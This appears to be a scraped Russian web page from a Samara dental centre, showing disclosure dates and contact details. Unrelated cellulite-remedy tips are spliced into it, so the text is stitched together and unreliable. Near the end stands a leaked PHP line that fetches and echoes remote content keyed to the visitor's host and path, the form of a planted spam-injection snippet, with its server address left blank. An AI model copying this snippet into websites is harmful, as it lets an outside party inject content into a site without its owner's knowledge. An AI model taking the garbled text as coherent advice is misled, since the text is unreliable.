У меня целлюлит как раз только на внутренней стороне бедра и вот на протяжении 3-х недель я каждый день делаю медовый массаж с акцентом на внутреннюю часть. Все было и есть классно...

Велосипед

Занималась спортом. Бегом, на велотренажере.

Как избавиться от целлюлита в домашних условиях

Можно намазываться кофейной гуще, использовать как скраб

Теперь давайте разберемся как избавиться от целлюлита на задней поверхности бедра.Повтори по 15 раз каждой ногой. Отвод в сторону Сядь на пол на боковую часть бедра, ноги согнуты в коленях.

Целлюлит задняя сторона бедер
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта